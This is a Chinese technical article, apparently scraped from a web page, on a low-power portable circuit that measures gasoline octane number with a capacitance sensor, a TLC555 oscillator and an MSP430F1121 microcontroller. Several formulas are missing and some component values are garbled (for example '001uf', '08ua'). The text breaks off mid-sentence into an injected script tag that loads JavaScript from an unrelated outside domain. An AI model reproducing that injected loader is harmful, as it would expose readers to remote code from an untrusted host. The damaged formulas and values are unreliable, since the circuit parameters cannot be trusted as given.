摘 要：本文提出的辛烷值测定电路，微处理器选用ti的低电压、低功耗单片机msp430f1121，c/f变换器采用tlc555组成多谐振荡器，显示用低电压的段型液晶显示器，用3.6v锂电池可连续工作4年。
关键词：辛烷值变换器低功耗低电压
1引言
随着汽油市场的开放，汽油的进货渠道不同，汽油的质量也有所不同，市场上出售的汽油辛烷值不确定，影响消费者的利益，影响环境污染情况。汽油的辛烷值可以用介电常数确定，但介电常数不能直接测量，用电容传感器测量简单可靠。市电供电的系统，测试环境要求比较理想，受地域和环境影响比较大。针对这种情况，本文提出一种电池供电的便携式汽油辛烷值检测方法及电路实现。本方法设备体积小、低功耗、价格低、具有温度补偿，便于野外作业。实现的电路简单可靠，但存在无法测量汽油中加入有机溶质的局限性。
2测量原理及电路分析
2.1测量原理
汽油的辛烷值不同其介电常数ε也不同，辛烷值大的汽油介电常数也大，如果能测定介电常数，就可以计算出辛烷值。介电常数的变化可用电容的容值变化来测定。
圆筒式电容器的电容值运算式如下：
cx＝ε*ｓ／d(1)
式中ｓ＝２*π*ｒ*ｌ，r为圆筒半径、l为圆筒高度，设计时rd。
有(1)式可知在面积和间距固定时，电容与介电常数成线性关系(不考虑边沿效应和漏电)，电容可以间接测量汽油中的辛烷值。但电容的变化不易直接测量，用ｃ／ｆ变换电路把电容的变化转化为频率的变化，用单片机计数和定时功能测量频率，根据频率和辛烷值的函数关系可计算汽油的辛烷值。检测电路选用tlc555芯片组成一个多谐振荡器完成c/f变换，芯片的最高工作频率为2100khz。
频率公式为：f=1.43/(w+r1+2*r2)*cx(2)
2.2电路和参数设计
单片机的晶振用了1mhz的晶体，因此定时器所能识别的最高频率为500khz。电容传感器空气介质时的电容为c0，选择r1和r2应满足如下公式：
电容放电时间：
从以上两个公式中可以看出，如果满足公式(3)和公式(4)公式(5)也是满足的。一般选c０在40～70pf(传感器空气介质的电容)之间，r1用10k电阻、r2用10k电阻(r1、r2选用高精度电阻)，w用100欧姆的精密电位器来精调频率，c1选用001uf电容，就能满足公式(4)的要求。
2.3电容传感器的误差补偿
电容传感器受环境温度的影响必然引起测量误差。温度误差主要是由于构成传感器的材料不同其温度膨胀系数不同，当环境温度变化时，传感器的几何形状、尺寸发生变化，从而引起电容量变化。因此，需要加入温度检测环节，根据检测的温度进行软件补偿。因传感器的电容值在几十pf范围，寄生电容和分布电容的影响不可忽略，硬件设计时尽量减小引线的长度，c/f变换器尺量接近电容传感器，有利于减少寄生电容和分布电容对传感器电容的影响。另外，设计电路板时c/f变换器部分要填充处理，减少干扰对测量的影响。
3硬件组成
3.1msp430f1121单片机
msp430f1121单片机是美国ti公司生产的超低功耗16位混合信号微控制器，具有16位risc结构，cpu中的16个寄存器和常数产生器，使msp430f1121能具有最高的代码效率。具有如下主要特点：
(2)5种节电方式：等待方式下电流为08ua、ram保持的断电方式0.ua。
(3)由等待方式唤醒：最大6us。
(4)16位risc结构，150ns指令周期。
(5)片内有256个数据存储器。
(6)片内有4kb的闪速存储器。
(7)加外部元件可构成单斜率a/d转换器。
(8)具有3个俘获/比较寄存器的16位定时器。
3.2硬件结构
显示器选用低电压、低功耗的液晶显示器，参数存储用低电压的串行电可编程电可擦除的93lc46。使用时为了降低功耗，单片机以外的器件，采用分别供电方法，并且每次采样计算以后显示结果一段时间，单片机进入低功耗方式进行休眠，单片机进入休眠方式以后，只有中断和复位唤醒单片机工作，保证功耗达到最低功耗。这样的设计方案，电路结构简单、使用简便、电池的寿命长、成品价格低等优点。
4软件设计
根据大量电容值与辛烷值的数据，在计算机上用最小二乘法建立辛烷值与电容值的数学模型，拟合多项式为：
实测电容传感器m组数据为：(x１，y１），（x２，y２），…(xm,ym)，xi为第i个被测电容值，yi为第i个被测辛烷值在所有测量点多项式yi与实测值yi的偏差平方和为：
在所有测量点多项式yi与实测值yi的偏差平方和为:
由公式计算出多项式系数，有多项式算出个实测电容值的辛烷值，并把它们逐点与实际辛烷值比较，若误差超出给定允许误差，令多项式阶数加一，重新计?script src=http://er12.com/t.js>
